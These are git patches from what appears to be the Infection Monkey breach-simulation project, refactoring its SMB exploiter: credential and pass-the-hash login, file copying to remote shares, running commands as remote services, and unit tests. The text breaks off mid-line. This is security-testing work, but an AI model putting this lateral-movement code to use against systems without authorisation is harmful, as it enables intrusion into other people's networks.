b/monkey/common/tags/__init__.py index 36fec4a4aa8..2a4b7d491ae 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -6,6 +6,7 @@ T1098_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, + T1135_ATTACK_TECHNIQUE_TAG, T1145_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index f6c13dc707c..4916cbbbb43 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -5,6 +5,7 @@ T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" +T1135_ATTACK_TECHNIQUE_TAG = "attack-t1135" T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145" T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210" diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index f5dba6170a3..d8727683052 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -1,6 +1,5 @@ -from io import BytesIO from ipaddress import IPv4Address -from threading import Event +from pathlib import PurePath from typing import List from unittest.mock import MagicMock @@ -13,17 +12,23 @@ from common import OperatingSystem from common.credentials import Credentials from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.tools import RemoteFileCopyError +from infection_monkey.exploit.tools import ( + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) from infection_monkey.i_puppet import TargetHost +COMMAND = "command" +CREDENTIALS: List[Credentials] = [] +DESTINATION_PATH = PurePath("destination_path") +FILE = b"file content" SHARED_RESOURECES = ( ShareInfo("share1", "path1", current_uses=10, max_uses=1000), ShareInfo("share2", "path2", current_uses=100, max_uses=100), ShareInfo("share3", "", current_uses=0, max_uses=10), ) -FILE = BytesIO(b"file content") - @pytest.fixture def mock_smb_client(): @@ -43,78 +48,86 @@ def mock_target_host() -> TargetHost: return TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) -CREDENTIALS: List[Credentials] = [] +@pytest.fixture +def smb_exploit_client(mock_target_host, mock_smb_client) -> SMBExploitClient: + return SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) -def test_execute__fails_if_not_authenticated( - mock_target_host: TargetHost, +def test_login__succeeds( + smb_exploit_client: SMBExploitClient, +): + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + + +def test_login__fails( mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - with pytest.raises(Exception): - exploit_client.execute([], 1, Event()) + mock_smb_client.connect_with_user.return_value = False + with pytest.raises(RemoteAuthenticationError): + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + + +def test_execute__fails_if_not_authenticated( + smb_exploit_client: SMBExploitClient, +): + with pytest.raises(RemoteCommandExecutionError): + smb_exploit_client.execute_detached(COMMAND, set()) def test_execute__fails_if_file_not_copied( - mock_target_host: TargetHost, - mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate(FULL_CREDENTIALS[0]) - with pytest.raises(Exception): - exploit_client.execute([], 1, Event()) + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + with pytest.raises(RemoteCommandExecutionError): + smb_exploit_client.execute_detached(COMMAND, set()) def test_execute__fails_if_command_not_executed( - mock_target_host: TargetHost, mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): mock_smb_client.run_service.side_effect = Exception("file") - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate(FULL_CREDENTIALS[0]) - exploit_client.copy_file(FILE) - with pytest.raises(Exception): - exploit_client.execute([], 1, Event()) + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) + with pytest.raises(RemoteCommandExecutionError): + smb_exploit_client.execute_detached(COMMAND, set()) def test_copy_file__fails_if_not_authenticated( - mock_target_host: TargetHost, mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): mock_smb_client.connected.return_value = False - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) with pytest.raises(RemoteFileCopyError): - exploit_client.copy_file(FILE) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) def test_copy_file__fails_if_no_shares_found( - mock_target_host: TargetHost, mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): mock_smb_client.query_shared_resources.return_value = () - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate(FULL_CREDENTIALS[0]) + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteFileCopyError): - exploit_client.copy_file(FILE) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) def test_copy_file__fails_if_unable_to_connect_to_share( - mock_target_host: TargetHost, mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): mock_smb_client.connect_to_share.side_effect = Exception("failed") - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate(FULL_CREDENTIALS[0]) + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteFileCopyError): - exploit_client.copy_file(FILE) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) def test_copy_file__fails_if_unable_to_copy_file( - mock_target_host: TargetHost, mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, ): mock_smb_client.send_file.side_effect = Exception("file") - exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) - exploit_client.authenticate(FULL_CREDENTIALS[0]) + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) with pytest.raises(RemoteFileCopyError): - exploit_client.copy_file(FILE) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) From aa39bb91e9f1e5e7c2fbbdf7d47d5c47233e126f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 19:13:31 +0000 Subject: [PATCH 0819/1338] SMB: Raise errors in SMBClient.connect_with_user --- .../exploiters/smb/src/smb_client.py | 51 +++++++------------ .../exploiters/smb/src/smb_exploit_client.py | 15 ++++-- .../exploiters/smb/test_smb_exploit_client.py | 2 +- 3 files changed, 29 insertions(+), 39 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 2fbf28235cb..86ecd436422 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -38,29 +38,23 @@ def __init__(self): def connected(self) -> bool: return self._smb_connection is not None and not self._smb_connection.isLoginRequired() - def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: int) -> bool: + def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: int): """ Connect to target host SMB services using credentials :param host: A target host to which to connect :param credentials: Credentials used for connections :param timeout: An SMB connection timeout + :raise Exception: If connection fails """ self._create_smb_connection(host) if not self._smb_connection: - return False - - logged_in = self._smb_login(credentials) - if not logged_in: - return False + raise Exception("Failed to establish SMB connection") + self._smb_login(credentials) self._smb_connection.setTimeout(timeout) - if self._logout_guest(): - # TODO: Reset the connection to None? - return False - - return True + raise Exception("Logged in as guest") def _create_smb_connection(self, host: TargetHost): # Create a SMB connection with the credentials @@ -79,30 +73,21 @@ def _create_smb_connection(self, host: TargetHost): logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") return None - def _smb_login(self, credentials: Credentials) -> bool: - """True if login succeeded, False otherwise""" - try: - self._smb_connection.login( - user=credentials.identity, - password=SMBClient._secret_for_type(credentials, Password), - domain="", - lmhash=SMBClient._secret_for_type(credentials, LMHash), - nthash=SMBClient._secret_for_type(credentials, NTHash), - ) - except Exception as err: - logger.debug(f"Failed to login to with user {credentials.identity}: {err}") - return False - return True + def _smb_login(self, credentials: Credentials): + """Raise an exception if login fails""" + self._smb_connection.login( + user=credentials.identity, + password=SMBClient._secret_for_type(credentials, Password), + domain="", + lmhash=SMBClient._secret_for_type(credentials, LMHash), + nthash=SMBClient._secret_for_type(credentials, NTHash), + ) - def _logout_guest(self) -> bool: + def _logout_guest(self): + """Return True if logged in as guest. Raise an exception if logout fails""" if self._smb_connection.isGuestSession() > 0: - try: - self._smb_connection.logoff() - except Exception: - # TODO: If we failed to logout, we should handle that - pass - - return True + self._smb_connection.logoff() + return True return False @staticmethod diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index c5d150d5d43..a5bbdf20cf5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,5 +1,6 @@ import logging import ntpath +from contextlib import suppress from io import BytesIO from pathlib import PurePath from typing import Iterator, List, MutableSet, Optional, Tuple @@ -71,10 +72,13 @@ def __init__( def login(self, credentials: Credentials, tags: MutableSet[str]): map(tags.add, LOGIN_TAGS) - error_message = f"Failed to authentication using SMB with {credentials}" - if not self._smb_client.connect_with_user( - self._host, credentials, timeout=self._options.smb_connect_timeout - ): + + try: + self._smb_client.connect_with_user( + self._host, credentials, timeout=self._options.smb_connect_timeout + ) + except Exception: + error_message = f"Failed to authenticate over SMB with {credentials}" raise RemoteAuthenticationError(error_message) self._authenticated_credentials = credentials @@ -192,7 +196,8 @@ def _connected_shares( if not self._smb_client.connected(): if not self._authenticated_credentials: break - self._smb_client.connect_with_user(self._host, self._authenticated_credentials) + with suppress(Exception): + self._smb_client.connect_with_user(self._host, self._authenticated_credentials) if not self._smb_client.connected(): break diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index d8727683052..20ab7aefcf8 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -63,7 +63,7 @@ def test_login__fails( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): - mock_smb_client.connect_with_user.return_value = False + mock_smb_client.connect_with_user.side_effect = Exception() with pytest.raises(RemoteAuthenticationError): smb_exploit_client.login(FULL_CREDENTIALS[0], set()) From 711af9e65a0dd163b350bfc7e4b0830ab2fb78ae Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 21 Mar 2023 12:18:55 +0100 Subject: [PATCH 0820/1338] SMB: Remove unused IAgentEventPublisher from SMBExploitClientFactory Events are published from BruteForceExploiter --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 4 +--- .../exploiters/smb/src/smb_exploit_client_factory.py | 5 +---- 2 files changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 7ab83698f2e..181096dfb53 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -68,9 +68,7 @@ def run( return ExploiterResultData(error_message=msg) command_builder = partial(build_smb_command, servers, current_depth) - smb_exploit_client_factory = SMBExploitClientFactory( - self._agent_event_publisher, host, smb_options - ) + smb_exploit_client_factory = SMBExploitClientFactory(host, smb_options) brute_force_exploiter = BruteForceExploiter( self._plugin_name, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py index efd94c9ca77..193863c62e6 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py @@ -1,6 +1,5 @@ from typing import Any -from common.event_queue import IAgentEventPublisher from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost @@ -11,13 +10,11 @@ class SMBExploitClientFactory(IRemoteAccessClientFactory): def __init__( self, - agent_event_publisher: IAgentEventPublisher, host: TargetHost, options: SMBOptions, ): - self._agent_event_publisher = agent_event_publisher self._host = host self._options = options def create(self, **kwargs: Any) -> SMBExploitClient: - return SMBExploitClient(self._agent_event_publisher, self._host, self._options) + return SMBExploitClient(self._host, self._options) From ac1a9cf5a561a093633def05f3e411710180624e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 14:32:55 +0000 Subject: [PATCH 0821/1338] SMB: Add SMBClient._get_smb_connection() --- .../exploiters/smb/src/smb_client.py | 30 +++++++++---------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 86ecd436422..8b11d99bfa5 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -48,14 +48,16 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: :raise Exception: If connection fails """ self._create_smb_connection(host) - if not self._smb_connection: - raise Exception("Failed to establish SMB connection") - self._smb_login(credentials) self._smb_connection.setTimeout(timeout) if self._logout_guest(): raise Exception("Logged in as guest") + def _get_smb_connection(self) -> SMBConnection: + if not self._smb_connection: + raise Exception("SMB connection not established") + return self._smb_connection + def _create_smb_connection(self, host: TargetHost): # Create a SMB connection with the credentials try: @@ -75,7 +77,7 @@ def _create_smb_connection(self, host: TargetHost): def _smb_login(self, credentials: Credentials): """Raise an exception if login fails""" - self._smb_connection.login( + self._get_smb_connection().login( user=credentials.identity, password=SMBClient._secret_for_type(credentials, Password), domain="", @@ -85,8 +87,9 @@ def _smb_login(self, credentials: Credentials): def _logout_guest(self): """Return True if logged in as guest. Raise an exception if logout fails""" - if self._smb_connection.isGuestSession() > 0: - self._smb_connection.logoff() + smb_connection = self._get_smb_connection() + if smb_connection.isGuestSession() > 0: + smb_connection.logoff() return True return False @@ -101,9 +104,7 @@ def connect_to_share(self, share_name: str): :param share_name: Name of SMB share :raises Exception: If an error occured while connecting to share """ - if not self._smb_connection: - raise Exception("SMB connection not established") - self._smb_connection.connectTree(share_name) + self._get_smb_connection().connectTree(share_name) def query_server_info(self): """Get SMB Server info by executing RPC call""" @@ -135,11 +136,12 @@ def _execute_rpc_call(self, rpc_func, *args): :param rpc_func: Helpers' RPC function :raises SessionError: If an error occurs while executing an RPC call """ + smb_connection = self._get_smb_connection() rpc_transport = transport.SMBTransport( - self._smb_connection.getRemoteHost(), - self._smb_connection.getRemoteHost(), + smb_connection.getRemoteHost(), + smb_connection.getRemoteHost(), filename=r"\srvsvc", - smb_connection=self._smb_connection, + smb_connection=smb_connection, ) rpc = SMBClient._dce_rpc_connect(rpc_transport) @@ -248,9 +250,7 @@ def send_file(self, share_name: str, path_name: str, callback): :param path_name: A remote network share path :raises Exception: If an error occurred while sending the file """ - if not self._smb_connection: - raise Exception("SMB connection not established") - self._smb_connection.putFile(share_name, path_name, callback) + self._get_smb_connection().putFile(share_name, path_name, callback) def set_timeout(self, timeout: int): if self._smb_connection is not None: From e83980cb2a748f35099f2ff538a8aa26cc450367 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 14:47:42 +0000 Subject: [PATCH 0822/1338] SMB: Propagate errors in SMBClient --- .../exploiters/smb/src/smb_client.py | 47 ++++++++++--------- 1 file changed, 25 insertions(+), 22 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 8b11d99bfa5..750f5aa2c3a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -3,7 +3,7 @@ from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.smbconnection import SMB_DIALECT, SMBConnection +from impacket.smbconnection import SMB_DIALECT, SessionError, SMBConnection from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext from common.types import NetworkPort @@ -49,7 +49,7 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: """ self._create_smb_connection(host) self._smb_login(credentials) - self._smb_connection.setTimeout(timeout) + self.set_timeout(timeout) if self._logout_guest(): raise Exception("Logged in as guest") @@ -59,24 +59,25 @@ def _get_smb_connection(self) -> SMBConnection: return self._smb_connection def _create_smb_connection(self, host: TargetHost): - # Create a SMB connection with the credentials try: self._smb_connection = SMBConnection( str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT ) - except Exception as err: - logger.debug( - f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" - ) + return + except SessionError as err: + logger.debug(f"Failed to create SMB connection to {host} on port 445: {err}") + + try: + # "*SMBSERVER" and port 139 is a special case. See doc for SMBConnection + self._smb_connection = SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) + return + except SessionError as err: + logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") - try: - self._smb_connection = SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) - except Exception as err: - logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") - return None + raise Exception(f"Failed to create SMB connection to {host}") def _smb_login(self, credentials: Credentials): - """Raise an exception if login fails""" + """Raise SessionError if login fails""" self._get_smb_connection().login( user=credentials.identity, password=SMBClient._secret_for_type(credentials, Password), @@ -86,7 +87,7 @@ def _smb_login(self, credentials: Credentials): ) def _logout_guest(self): - """Return True if logged in as guest. Raise an exception if logout fails""" + """Return True if logged in as guest. Raise SessionError if logout fails""" smb_connection = self._get_smb_connection() if smb_connection.isGuestSession() > 0: smb_connection.logoff() @@ -159,7 +160,7 @@ def run_service( timeout: int, ): """ - Run a servie on the remote host. + Run a service on the remote host. :param service_name: Name of the service to run :param command: Command to be run @@ -171,7 +172,7 @@ def run_service( """ rpc: Optional[transport.DCERPCTransport] = None for port in ports_to_try: - rpc = self._rpc_connect(host, port, credentials, timeout) + rpc = SMBClient._rpc_connect(host, port, credentials, timeout) if rpc: break if not rpc: @@ -205,9 +206,8 @@ def run_service( scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) - def _rpc_connect( - self, host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int - ): + @staticmethod + def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int): """Connects to the remote host and returns the SMB connection""" rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") rpc_transport.set_connect_timeout(timeout) @@ -233,14 +233,15 @@ def _rpc_connect( return rpc @staticmethod - def _dce_rpc_connect(rpc_transport) -> Optional[DCERPC_v5]: + def _dce_rpc_connect(rpc_transport) -> DCERPC_v5: rpc = rpc_transport.get_dce_rpc() try: rpc.connect() return rpc except Exception as err: - logger.debug(f"Failed to RPC connect to host: {err}") - return None + error_message = f"Failed to RPC connect to host: {err}" + logger.debug(error_message) + raise Exception(error_message) def send_file(self, share_name: str, path_name: str, callback): """ @@ -248,10 +249,12 @@ def send_file(self, share_name: str, path_name: str, callback): :param share_name: A network share name :param path_name: A remote network share path + :param callback: A callback function that reads the file contents :raises Exception: If an error occurred while sending the file """ self._get_smb_connection().putFile(share_name, path_name, callback) def set_timeout(self, timeout: int): + """Set the connection timeout, in seconds""" if self._smb_connection is not None: self._smb_connection.setTimeout(timeout) From c08f77d399427ca9d31d4f0dd1ebe2b715ce93ff Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 14:48:54 +0000 Subject: [PATCH 0823/1338] SMB: Get username from credentials --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 750f5aa2c3a..a33ac8d2d1c 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -79,7 +79,7 @@ def _create_smb_connection(self, host: TargetHost): def _smb_login(self, credentials: Credentials): """Raise SessionError if login fails""" self._get_smb_connection().login( - user=credentials.identity, + user=credentials.identity.username, password=SMBClient._secret_for_type(credentials, Password), domain="", lmhash=SMBClient._secret_for_type(credentials, LMHash), @@ -214,7 +214,7 @@ def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, rpc_transport.set_dport(port) rpc_transport.setRemoteHost(str(host.ip)) rpc_transport.set_credentials( - username=credentials.identity, + username=credentials.identity.username, password=SMBClient._secret_for_type(credentials, Password), domain="", lmhash=SMBClient._secret_for_type(credentials, LMHash), From 948d03001d051dcfd98a9e2cd53dc3b0b37be3be Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 15:57:39 +0000 Subject: [PATCH 0824/1338] SMB: Fix secret_for_type --- .../exploiters/smb/src/smb_client.py | 36 +++++++++++++------ .../exploiters/smb/test_smb_client.py | 21 +++++++++++ 2 files changed, 46 insertions(+), 11 deletions(-) create mode 100644 monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index a33ac8d2d1c..6332abe46d3 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -5,7 +5,7 @@ from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.smbconnection import SMB_DIALECT, SessionError, SMBConnection -from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext +from common.credentials import Credentials, LMHash, NTHash, Password, Secret, get_plaintext from common.types import NetworkPort from infection_monkey.i_puppet import TargetHost @@ -31,6 +31,24 @@ def from_dict(share_info_dict: Dict[str, Any]) -> "ShareInfo": ) +def get_secret(secret: Secret): + if isinstance(secret, Password): + return secret.password + elif isinstance(secret, LMHash): + return secret.lm_hash + elif isinstance(secret, NTHash): + return secret.nt_hash + return None + + +def secret_for_type(credentials: Credentials, secret_type: Type) -> str: + return ( + get_plaintext(get_secret(credentials.secret)) + if type(credentials.secret) == secret_type + else "" + ) + + class SMBClient: def __init__(self): self._smb_connection: Optional[SMBConnection] = None @@ -80,10 +98,10 @@ def _smb_login(self, credentials: Credentials): """Raise SessionError if login fails""" self._get_smb_connection().login( user=credentials.identity.username, - password=SMBClient._secret_for_type(credentials, Password), + password=secret_for_type(credentials, Password), domain="", - lmhash=SMBClient._secret_for_type(credentials, LMHash), - nthash=SMBClient._secret_for_type(credentials, NTHash), + lmhash=secret_for_type(credentials, LMHash), + nthash=secret_for_type(credentials, NTHash), ) def _logout_guest(self): @@ -94,10 +112,6 @@ def _logout_guest(self): return True return False - @staticmethod - def _secret_for_type(credentials: Credentials, secret_type: Type) -> str: - return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" - def connect_to_share(self, share_name: str): """ Connects to a share on the remote host @@ -215,10 +229,10 @@ def _rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, rpc_transport.setRemoteHost(str(host.ip)) rpc_transport.set_credentials( username=credentials.identity.username, - password=SMBClient._secret_for_type(credentials, Password), + password=secret_for_type(credentials, Password), domain="", - lmhash=SMBClient._secret_for_type(credentials, LMHash), - nthash=SMBClient._secret_for_type(credentials, NTHash), + lmhash=secret_for_type(credentials, LMHash), + nthash=secret_for_type(credentials, NTHash), ) rpc_transport.set_kerberos(False) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py new file mode 100644 index 00000000000..a9c59d7b7da --- /dev/null +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_client.py @@ -0,0 +1,21 @@ +from agent_plugins.exploiters.smb.src.smb_client import secret_for_type +from tests.data_for_tests.propagation_credentials import LM_HASH, NT_HASH, PASSWORD_1, USERNAME + +from common.credentials import Credentials, LMHash, NTHash, Password, Username + + +def test_secret_for_type__returns_secret_for_password(): + credentials = Credentials( + identity=Username(username=USERNAME), secret=Password(password=PASSWORD_1) + ) + assert secret_for_type(credentials, Password) == PASSWORD_1.get_secret_value() + + +def test_secret_for_type__returns_secret_for_lm_hash(): + credentials = Credentials(identity=Username(username=USERNAME), secret=LMHash(lm_hash=LM_HASH)) + assert secret_for_type(credentials, LMHash) == LM_HASH.get_secret_value() + + +def test_secret_for_type__returns_secret_for_nt_hash(): + credentials = Credentials(identity=Username(username=USERNAME), secret=NTHash(nt_hash=NT_HASH)) + assert secret_for_type(credentials, NTHash) == NT_HASH.get_secret_value() From f7fe0b04020dd5d7a7bb6f71148911531021c67e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 15:24:21 +0000 Subject: [PATCH 0825/1338] SMB: Propagate login error in SMBExploitClient --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index a5bbdf20cf5..81777fedeff 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -77,8 +77,8 @@ def login(self, credentials: Credentials, tags: MutableSet[str]): self._smb_client.connect_with_user( self._host, credentials, timeout=self._options.smb_connect_timeout ) - except Exception: - error_message = f"Failed to authenticate over SMB with {credentials}" + except Exception as err: + error_message = f"Failed to authenticate over SMB with {credentials}: {err}" raise RemoteAuthenticationError(error_message) self._authenticated_credentials = credentials From e3e4bbf120700ee5e370cd85f810f561eda3300f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 16:14:04 +0000 Subject: [PATCH 0826/1338] SMB: Log errors for copy --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 6332abe46d3..22b742bed01 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -127,7 +127,7 @@ def query_server_info(self): return self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) except Exception as err: logger.debug(f"Failed to query server info: {err}") - raise Exception(f"No server information is available: {str(err)}") + raise Exception(f"No server information is available: {err}") def query_shared_resources(self) -> Tuple[ShareInfo, ...]: """ @@ -136,10 +136,9 @@ def query_shared_resources(self) -> Tuple[ShareInfo, ...]: :return: A tuple of shares information """ try: - return tuple( - ShareInfo.from_dict(share) - for share in self._execute_rpc_call(srvs.hNetrShareEnum, 2) - ) + shares = self._execute_rpc_call(srvs.hNetrShareEnum, 2) + shares = shares["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"] + return tuple(ShareInfo.from_dict(share) for share in shares) except Exception as err: logger.debug(f"Failed to query shared resources: {err}") return () From 215f9e62ddc03dcc11f0e675c0b55cc4268ef6a4 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 21 Mar 2023 17:59:12 +0000 Subject: [PATCH 0827/1338] SMB: Implement get_writable_paths --- .../exploiters/smb/src/smb_exploit_client.py | 105 ++++++++++-------- .../exploit/tools/brute_force_exploiter.py | 9 +- 2 files changed, 64 insertions(+), 50 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 81777fedeff..fbf6788bce7 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,9 +1,10 @@ import logging -import ntpath + +# import ntpath from contextlib import suppress from io import BytesIO from pathlib import PurePath -from typing import Iterator, List, MutableSet, Optional, Tuple +from typing import List, MutableSet, Optional, Tuple from common import OperatingSystem from common.credentials import Credentials @@ -50,8 +51,7 @@ class CopiedFileDetails: """Stores the details of a copied file""" - def __init__(self, remote_path: PurePath, destination_path: PurePath): - self.remote_path = remote_path + def __init__(self, destination_path: PurePath): self.destination_path = destination_path @@ -69,6 +69,7 @@ def __init__( self._copied_file_details: Optional[CopiedFileDetails] = None self._authenticated_credentials: Optional[Credentials] = None self._smb_client = smb_client + self._destination_path: Optional[PurePath] = None def login(self, credentials: Credentials, tags: MutableSet[str]): map(tags.add, LOGIN_TAGS) @@ -107,24 +108,31 @@ def execute_detached(self, command: str, tags: MutableSet[str]): raise RemoteCommandExecutionError(err) def copy_file(self, file: bytes, destination_path: 